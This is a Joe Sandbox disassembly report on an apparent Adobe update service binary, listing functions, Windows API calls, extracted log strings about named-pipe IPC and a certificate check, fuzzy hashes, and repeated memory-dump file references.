Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CloseHandle$BlockDestroyEnvironmentErrorFileLastPathRemoveSpec
String ID: D$In ProcessUtils::utilCreateProcessInUserSessionWithReturnCode.$In ProcessUtils::utilCreateProcessInUserSessionWithReturnCode. Error in createProcessInUserSession with error %d.$In ProcessUtils::utilCreateProcessInUserSessionWithReturnCode. Error in utilRemoveFileSpec in currentDirectory %s $In ProcessUtils::utilCreateProcessInUserSessionWithReturnCode. Return$In ProcessUtils::utilCreateProcessInUserSessionWithReturnCode. WaitForFinish is false. Returning$OOBEUtils$ProcessUtils
API String ID: 2934398582-495172292
Opcode ID: b1d8b08e1ced0472de58a44bdc32ac5145ca0abbc8f526ddc3a30321f6e8c4e6
Instruction ID: 44ddc1e84410081819ab0d6c29ceb37a1c44936693579239e334559e60437c79
Opcode Fuzzy Hash: b1d8b08e1ced0472de58a44bdc32ac5145ca0abbc8f526ddc3a30321f6e8c4e6
Instruction Fuzzy Hash: C422C130A40219DBDB10DF54CD5ABEE77B4BF95704F2401AAE80577290DBB86E90CFA9

Function 004029A0 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 247COMMON

Download Yara Rule

Strings

AdobeUpdateService: Process certificate didnt match to Adobe certificate!, xrefs: 00402A97
main: Finished, xrefs: 00402CAA
main: Started, xrefs: 00402C17
AdobeUpdateService, xrefs: 00402C2D, 00402C4C

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID:
String ID: AdobeUpdateService$AdobeUpdateService: Process certificate didnt match to Adobe certificate!$main: Finished$main: Started
API String ID: 0-108484121
Opcode ID: b3500d050bb6cdf61eb27a6f39655ff4180bc88b106c65d246eddb0ba753381a
Instruction ID: aa4f7462551908f85693e87270aad57e37dee6bb7c79447cbb64f1a26d33a99d
Opcode Fuzzy Hash: b3500d050bb6cdf61eb27a6f39655ff4180bc88b106c65d246eddb0ba753381a
Instruction Fuzzy Hash: D491F870A002189FEB14DF65CD5ABAE7BB4EB04718F14417EE405B73C1EBB86A05CB99

Function 0046A3FC Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 0046A40E
GetCurrentThreadId.KERNEL32 ref: 0046A41D
GetCurrentProcessId.KERNEL32 ref: 0046A426
QueryPerformanceCounter.KERNEL32(?), ref: 0046A433

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: ac1283240fa4666ab2caaaff0c877bff52670fbfcb2ac06dcdcff882bb556bcf
Instruction ID: e4e9c80c65a6a08ef3cfff89654f3def58ef4d81fe7765c738179de465d37d3f
Opcode Fuzzy Hash: ac1283240fa4666ab2caaaff0c877bff52670fbfcb2ac06dcdcff882bb556bcf
Instruction Fuzzy Hash: 50F05F71C10209EBCB04DBB5DA49A9EBBF8EF28305F5148A69412E7150E774AB049F55

Function 00479425 Relevance: 4.6, APIs: 3, Instructions: 77COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0047951D
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00479527
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00479534

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: a19f73a4d9f4d0e54a9ed4dae2ef3fd1af3dc1133b3d865888961f1c74766716
Instruction ID: 7109313c7fa8fd350fdfa9001e6c8f204caf35ef787ef4bb10a63f32fd68b71d
Opcode Fuzzy Hash: a19f73a4d9f4d0e54a9ed4dae2ef3fd1af3dc1133b3d865888961f1c74766716
Instruction Fuzzy Hash: AB31D87590122CABCB21DF65DD88BCDBBB8BF18310F5041EAE40CA6251E7749F858F49

Function 00460FA0 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92b4408d911e923283ad052d3412a50f4253902d7f48253863d126fe0516623a
Instruction ID: ab5e05bcc99bfceca36f26a0eb8b1f4f863e45577806241823cb0e5dbccfed84
Opcode Fuzzy Hash: 92b4408d911e923283ad052d3412a50f4253902d7f48253863d126fe0516623a
Instruction Fuzzy Hash: EE01ECB5904719EBCB14CF99D941B9AFBF4FB48720F20862AE429A3790D33565108F94

Function 0041F500 Relevance: 30.4, APIs: 11, Strings: 9, Instructions: 396sleepCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,E7354A82,?,00000008), ref: 0041F537
Sleep.KERNEL32(00000001), ref: 0041F53F
LeaveCriticalSection.KERNEL32(?), ref: 0041F585
LeaveCriticalSection.KERNEL32(?), ref: 0041F5C9
LeaveCriticalSection.KERNEL32(?), ref: 0041F646

Strings

Writing info packet to pipe failed with error code %i, xrefs: 0041F796, 0041F7CD
Pipe %p not initialized, aborting write., xrefs: 0041F55E, 0041F5A3
Data size %i is larger than max buffer size, aborting write., xrefs: 0041F61D, 0041F662
Writing data packet to pipe failed with error code %i, xrefs: 0041F8A6, 0041F8DD
Out pipe handle is invalid, aborting write., xrefs: 0041F6FA, 0041F73C
CommBridge, xrefs: 0041F56D, 0041F5A8, 0041F62C, 0041F667, 0041F709, 0041F741, 0041F7A5, 0041F7D2, 0041F8B5, 0041F8E2
Terminate channel, xrefs: 0041F7F4, 0041F904
`J, xrefs: 0041F52D
OOBEUtils, xrefs: 0041F572, 0041F631, 0041F70E, 0041F7AA, 0041F8BA

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CriticalSection$Leave$EnterSleep
String ID: CommBridge$Data size %i is larger than max buffer size, aborting write.$OOBEUtils$Out pipe handle is invalid, aborting write.$Pipe %p not initialized, aborting write.$Terminate channel$Writing data packet to pipe failed with error code %i$Writing info packet to pipe failed with error code %i$`J
API String ID: 4275215032-318403239
Opcode ID: 8abe9bf9aa2a41506b6c831e74ff08ca7d922cea81cd4335f7d1f82bf08bb469
Instruction ID: 357453fb2a3021c3316a4f80364e3140d53479557ee8387c2b372fbbb1bee486
Opcode Fuzzy Hash: 8abe9bf9aa2a41506b6c831e74ff08ca7d922cea81cd4335f7d1f82bf08bb469
Instruction Fuzzy Hash: F2E10770B40208ABDB00DF65DD4ABDE7BB5AF45700F24013AF806A72D1DB7CAA458B5D

Function 004056B0 Relevance: 24.8, APIs: 4, Strings: 10, Instructions: 296sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000001F4,?,?,?,?,?,?,00000028), ref: 0040587F

Part of subcall function 0041FA30: WaitForSingleObject.KERNEL32(00000008,000000FF,00000000,00000008,00405984,?,?,?,?,?,?,?,?,?,00000028), ref: 0041FB10
Part of subcall function 0041FA30: CloseHandle.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,00000028), ref: 0041FB19

Strings

Sent communnication ID packet to the client, xrefs: 004056EF
Successfully created the client thread, xrefs: 004059E8
Initializing Communication Channel with ACC with pipename: %s, xrefs: 00405862
thread failed to resumed. fatal error, xrefs: 0040594C
failed to create a new thread for ipc communications. Fatal Error, xrefs: 0040591A
CreateIPCChannel failed for pipe %s, xrefs: 004058D0
Failed in creating client thread, xrefs: 00405984
Failed to sent communnication ID packet to the client, xrefs: 004059B9
Failed in initial handshake with the client, xrefs: 004058F0
Problem initializing Communication Channel. Quitting. Error code %d, xrefs: 004058A7

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CloseHandleObjectSingleSleepWait
String ID: CreateIPCChannel failed for pipe %s$Failed in creating client thread$Failed in initial handshake with the client$Failed to sent communnication ID packet to the client$Initializing Communication Channel with ACC with pipename: %s$Problem initializing Communication Channel. Quitting. Error code %d$Sent communnication ID packet to the client$Successfully created the client thread$failed to create a new thread for ipc communications. Fatal Error$thread failed to resumed. fatal error
API String ID: 640476663-1070437462
Opcode ID: 68fa43ea2eba1087806099fb0bd63b4327f9badd3dddcdc44e0fb38c4a85424d
Instruction ID: dce432d37da255bfcb33f67ab20813508531a13952796c9d494c823ab279c1dd
Opcode Fuzzy Hash: 68fa43ea2eba1087806099fb0bd63b4327f9badd3dddcdc44e0fb38c4a85424d
Instruction Fuzzy Hash: F0A1D2B0A40615AFCB00DF65DC86B6E7BA4FF49704F10017AE505AB3D1DB78A914CB9A

Function 00401A30 Relevance: 24.8, APIs: 5, Strings: 9, Instructions: 268synchronizationthreadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000001,?,00401A1C), ref: 00401AC7

Part of subcall function 00401770: SetServiceStatus.ADVAPI32(004C8C64), ref: 00401821
Part of subcall function 00401770: GetLastError.KERNEL32 ref: 00401877

CreateThread.KERNEL32(00000000,00000000,00401520,00000000,00000000,00000000), ref: 00401B0D
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,00401A1C), ref: 00401C91
ResetEvent.KERNEL32(?,?,?,?,?,?,?,?,00401A1C), ref: 00401C99
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00401A1C), ref: 00401D13

Strings

OOBEEvents, xrefs: 00401C43, 00401C6E, 00401CC7, 00401CED
NULL OOBE_Event_t object passed in DestroyEvent , xrefs: 00401CB8, 00401CE8
SvcInit: Creat thread failed, xrefs: 00401B5C
NULL OOBE_Event_t object passed in WaitforEvent , xrefs: 00401C34, 00401C69
SvcInit: Now wating for the close signal, xrefs: 00401C0A
SvcInit: Started New, xrefs: 00401AA0
SvcInit: Finished, xrefs: 00401D86
OOBEUtils, xrefs: 00401C48, 00401CCC
SvcInit: Create thread successful, xrefs: 00401BA3

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: ErrorLast$CloseCreateEventHandleObjectResetServiceSingleStatusThreadWait
String ID: NULL OOBE_Event_t object passed in DestroyEvent $NULL OOBE_Event_t object passed in WaitforEvent $OOBEEvents$OOBEUtils$SvcInit: Creat thread failed$SvcInit: Create thread successful$SvcInit: Finished$SvcInit: Now wating for the close signal$SvcInit: Started New
API String ID: 2548555128-2125176678
Opcode ID: fdb8e43f0c7796d05782fa09c5a4e7a52c29433dbb338b57c4b152e7f49b068c
Instruction ID: f73ab4652ae81edbc98d7fd2a5d95e0b0f6ab9935acceea9d8e153ccbd849a11
Opcode Fuzzy Hash: fdb8e43f0c7796d05782fa09c5a4e7a52c29433dbb338b57c4b152e7f49b068c
Instruction Fuzzy Hash: 9291D370B80315ABE710DB559D46B5E3BA4EB10B14F14017BF915B73D1EFB8A9008BAE

Function 00427320 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 148fileCOMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(00000000,00000000,0040674D), ref: 0042732E
PathIsDirectoryW.SHLWAPI(00000000), ref: 00427347
DeleteFileW.KERNEL32(00000000,00000000,?), ref: 0042735A
GetLastError.KERNEL32 ref: 0042736C
